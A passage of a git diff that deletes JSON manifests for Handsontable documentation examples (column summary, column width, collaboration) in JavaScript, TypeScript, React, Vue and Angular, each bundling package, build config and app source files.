    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example11')!;\nconst throwErrorsButton = document.querySelector('#throwErrorsButton')!;\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [[0, 1, 2], ['3c', '4b', 5], [], []],\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});\n\nthrowErrorsButton.addEventListener('click', () => {\n hot.updateSettings({\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n ],\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-summary/javascript/example11.ts","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example11.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example11.tsx.json deleted file mode 100644 index acdb0288..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example11.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column summary · Throw data type errors · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example11\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const throwErrors = () => {\n hotRef.current?.hotInstance?.updateSettings({\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n ],\n });\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-summary/react/example11.tsx","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example11.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example11.vue.json deleted file mode 100644 index 1b47bffa..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example11.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column summary · Throw data type errors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example11\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-summary/vue/example11.vue","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example7.ts.json deleted file mode 100644 index cf0fda83..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column widths · Set a dynamic maximum column width · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example7',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['SKU-4821', 'Bolt', 142],\n ['SKU-0093', 'Stainless steel mounting bracket', 67],\n ['SKU-1147', 'Washer', 210],\n ['SKU-2205', 'Hex nut assortment pack', 38],\n ['SKU-3310', 'Cable tie', 95],\n ];\n\n readonly hotSettings: GridSettings = {\n width: '100%',\n height: 'auto',\n colHeaders: ['SKU', 'Product', 'Stock'],\n rowHeaders: true,\n colWidths: [90, undefined, 60],\n modifyColWidth(width: number, column: number) {\n if (column === 1 && width > 150) {\n return 100;\n }\n\n return width;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-width/angular/example7.ts","breadcrumb":["Columns","Column widths"],"guide":"guides/columns/column-width/column-width.md","guideTitle":"Column widths","exampleId":"example7","exampleTitle":"Set a dynamic maximum column width","docPermalink":"/column-width","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.js.json deleted file mode 100644 index 5f754410..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column widths · Set a dynamic maximum column width · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example7');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Bolt', 142],\n ['SKU-0093', 'Stainless steel mounting bracket', 67],\n ['SKU-1147', 'Washer', 210],\n ['SKU-2205', 'Hex nut assortment pack', 38],\n ['SKU-3310', 'Cable tie', 95],\n ],\n width: '100%',\n height: 'auto',\n colHeaders: ['SKU', 'Product', 'Stock'],\n rowHeaders: true,\n colWidths: [90, undefined, 60],\n modifyColWidth(width, column) {\n if (column === 1 && width > 150) {\n return 100;\n }\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-width/javascript/example7.js","breadcrumb":["Columns","Column widths"],"guide":"guides/columns/column-width/column-width.md","guideTitle":"Column widths","exampleId":"example7","exampleTitle":"Set a dynamic maximum column width","docPermalink":"/column-width","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.ts.json deleted file mode 100644 index a7e25bfe..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column widths · Set a dynamic maximum column width · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Bolt', 142],\n ['SKU-0093', 'Stainless steel mounting bracket', 67],\n ['SKU-1147', 'Washer', 210],\n ['SKU-2205', 'Hex nut assortment pack', 38],\n ['SKU-3310', 'Cable tie', 95],\n ],\n width: '100%',\n height: 'auto',\n colHeaders: ['SKU', 'Product', 'Stock'],\n rowHeaders: true,\n colWidths: [90, undefined, 60],\n modifyColWidth(width, column) {\n if (column === 1 && width > 150) {\n return 100;\n }\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-width/javascript/example7.ts","breadcrumb":["Columns","Column widths"],"guide":"guides/columns/column-width/column-width.md","guideTitle":"Column widths","exampleId":"example7","exampleTitle":"Set a dynamic maximum column width","docPermalink":"/column-width","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example7.tsx.json deleted file mode 100644 index 64c6e5d4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example7.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column widths · Set a dynamic maximum column width · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n {\n if (column === 1 && width > 150) {\n return 100;\n }\n }}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-width/react/example7.tsx","breadcrumb":["Columns","Column widths"],"guide":"guides/columns/column-width/column-width.md","guideTitle":"Column widths","exampleId":"example7","exampleTitle":"Set a dynamic maximum column width","docPermalink":"/column-width","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example7.vue.json deleted file mode 100644 index 859c1d45..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example7.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column widths · Set a dynamic maximum column width · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-width/vue/example7.vue","breadcrumb":["Columns","Column widths"],"guide":"guides/columns/column-width/column-width.md","guideTitle":"Column widths","exampleId":"example7","exampleTitle":"Set a dynamic maximum column width","docPermalink":"/column-width","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__angular__example1.ts.json deleted file mode 100644 index 9cec0cf9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Data Management ▸ Handling collaboration and simultaneous editing · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnDestroy, OnInit, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\n// marks a change as coming from another collaborator, so it isn't broadcast again\nconst REMOTE_SOURCE = 'remotePeer';\n\n@Component({\n selector: 'example1-collaboration',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n

    {{ statusText }}

    \n
    \n
    \n \n
    `,\n})\nexport class AppComponent implements OnInit, OnDestroy {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n statusText = 'A remote update to the first row arrives in 3 seconds.';\n\n private timeoutId?: ReturnType;\n\n readonly hotData = [\n ['Update onboarding flow', 'Ana García', 'In progress'],\n ['Fix invoice rounding bug', 'James Okafor', 'Blocked'],\n ['Write Q3 release notes', 'Li Wei', 'In progress'],\n ['Migrate auth service', 'Sofia Rossi', 'Done'],\n ['Design empty states', 'Diego Fernández', 'In progress'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Task', 'Assignee', 'Status'],\n rowHeaders: true,\n height: 'auto',\n beforeChange: (changes: (Handsontable.CellChange | null)[], source: Handsontable.ChangeSource | string) => {\n if (source === REMOTE_SOURCE || !changes) {\n return;\n }\n\n changes.forEach((change) => {\n if (!change) {\n return;\n }\n\n const [row, column, , newValue] = change;\n\n // send the local edit to your collaboration backend here\n console.log('Broadcasting local edit:', row, column, newValue);\n });\n },\n };\n\n ngOnInit(): void {\n // simulate an update coming from another collaborator - start editing the Status\n // cell in the first row before the timeout fires to see the update wait for you\n this.timeoutId = setTimeout(() => this.applyRemoteChange(0, 2, 'Done'), 3000);\n }\n\n ngOnDestroy(): void {\n clearTimeout(this.timeoutId);\n }\n\n applyRemoteChange(row: number, column: number, value: string): void {\n const hot = this.hotTable?.hotInstance;\n const editor = hot?.getActiveEditor();\n const editingSameCell = editor?.isOpened() && editor.row === row && editor.col === column;\n\n if (editingSameCell) {\n // don't overwrite a cell the local user is editing right now -\n // check again shortly, and apply the change once the local edit finishes\n this.timeoutId = setTimeout(() => this.applyRemoteChange(row, column, value), 300);\n\n return;\n }\n\n hot?.setDataAtCell(row, column, value, REMOTE_SOURCE);\n this.statusText = 'A collaborator marked \"Update onboarding flow\" as Done.';\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/data-management/collaboration/angular/example1.ts","breadcrumb":["Data Management","Handling collaboration and simultaneous editing"],"guide":"guides/data-management/collaboration/collaboration.md","guideTitle":"Handling collaboration and simultaneous editing","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/collaboration","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.js.json deleted file mode 100644 index 4ede0c03..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__data-management__collaboration__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Data Management ▸ Handling collaboration and simultaneous editing · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    \n
    \n
